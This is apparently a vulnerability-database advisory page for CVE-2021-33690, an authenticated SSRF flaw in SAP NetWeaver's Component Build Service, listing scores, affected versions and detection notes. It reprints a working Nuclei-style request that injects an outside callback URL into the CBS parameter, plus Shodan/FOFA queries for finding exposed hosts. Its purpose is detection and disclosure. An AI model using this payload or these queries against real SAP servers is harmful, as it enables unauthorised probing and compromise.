CVE-2021-33690

published 2021-09-15

CVE-2021-33690: Server-Side Request Forgery (SSRF) vulnerability has been detected in the SAP NetWeaver Development Infrastructure Component Build Service versions - 7.11…

Priority P1 88 critical 9.9 CVSS 3.1

AV N AC L PR L UI N S C C H I H A H

ITW EXPLOIT VulnCheck KEV

Server-Side Request Forgery (SSRF) vulnerability has been detected in the SAP NetWeaver Development Infrastructure Component Build Service versions - 7.11, 7.20, 7.30, 7.31, 7.40, 7.50The SAP NetWeaver Development Infrastructure Component Build Service allows a threat actor who has access to the server to perform proxy attacks on server by sending crafted queries. Due to this, the threat actor could completely compromise sensitive data residing on the Server and impact its availability.Note: The impact of this vulnerability depends on whether SAP NetWeaver Development Infrastructure (NWDI) runs on the intranet or internet. The CVSS score reflects the impact considering the worst-case scenario that it runs on the internet.

Affected

12 ranges

Vendor	Product	Version range	Fixed in
sap	netweaver_development_infrastructure	—	—
sap	netweaver_development_infrastructure	—	—
sap	netweaver_development_infrastructure	—	—
sap	netweaver_development_infrastructure	—	—
sap	netweaver_development_infrastructure	—	—
sap	netweaver_development_infrastructure	—	—
sap_se	sap_netweaver_development_infrastructure	< 7.11	7.11
sap_se	sap_netweaver_development_infrastructure	< 7.20	7.20
sap_se	sap_netweaver_development_infrastructure	< 7.30	7.30
sap_se	sap_netweaver_development_infrastructure	< 7.31	7.31
sap_se	sap_netweaver_development_infrastructure	< 7.40	7.40
sap_se	sap_netweaver_development_infrastructure	< 7.50	7.50

Detection & IOCs extracted from sources · hover to see the quote

url POST /tc.CBS.Appl/tcspseudo HTTP/1.1↗

path /tc.CBS.Appl/tcspseudo↗

command CBS=http://{{interactsh-url}}&USER=1&PWD=1&REQ_CONFIRM_DELAY=2000&ACTION=CONFIGURE↗

sigma↗

id: CVE-2021-33690
http:
  - raw:
    - |
      POST /tc.CBS.Appl/tcspseudo HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded

      CBS=http://{{interactsh-url}}&USER=1&PWD=1&REQ_CONFIRM_DELAY=2000&ACTION=CONFIGURE
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
      - type: word
        part: body
        words:
          - "Could not connect to the CBS"

• → Exploit targets the SAP NetWeaver CBS endpoint at /tc.CBS.Appl/tcspseudo via HTTP POST with Content-Type: application/x-www-form-urlencoded. The SSRF payload is injected in the CBS parameter pointing to an attacker-controlled URL. ↗
• → Successful SSRF exploitation returns the string 'Could not connect to the CBS' in the HTTP response body, confirming the server attempted an outbound connection to the CBS parameter URL. ↗
• → Out-of-band DNS interaction (via interactsh or similar OAST infrastructure) is the primary confirmation mechanism — monitor for DNS callbacks triggered by the CBS parameter value. ↗
• → Shodan/FOFA exposure queries for vulnerable SAP NetWeaver instances: html:"SAP NetWeaver", http.html:"sap netweaver", body="sap netweaver". ↗

• · The CVSS score (9.9 Critical) reflects the worst-case scenario where SAP NWDI is exposed on the internet. Impact is significantly lower if NWDI runs only on an internal intranet. ↗
• · Exploitation requires the threat actor to already have access to the server (authenticated, PR:L), meaning unauthenticated remote exploitation is not directly possible. ↗
• · Affected versions are specifically 7.11, 7.20, 7.30, 7.31, 7.40, and 7.50 of the SAP NetWeaver Development Infrastructure Component Build Service. Detection rules should be scoped to these versions. ↗

CVSS provenance

nvd v3.1 9.9 CRITICAL CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

nvd v3.0 9.9 CRITICAL CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

nvd v2.0 6.5 MEDIUM AV:N/AC:L/Au:S/C:P/I:P/A:P

vulncheck 9.9 CRITICAL

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-918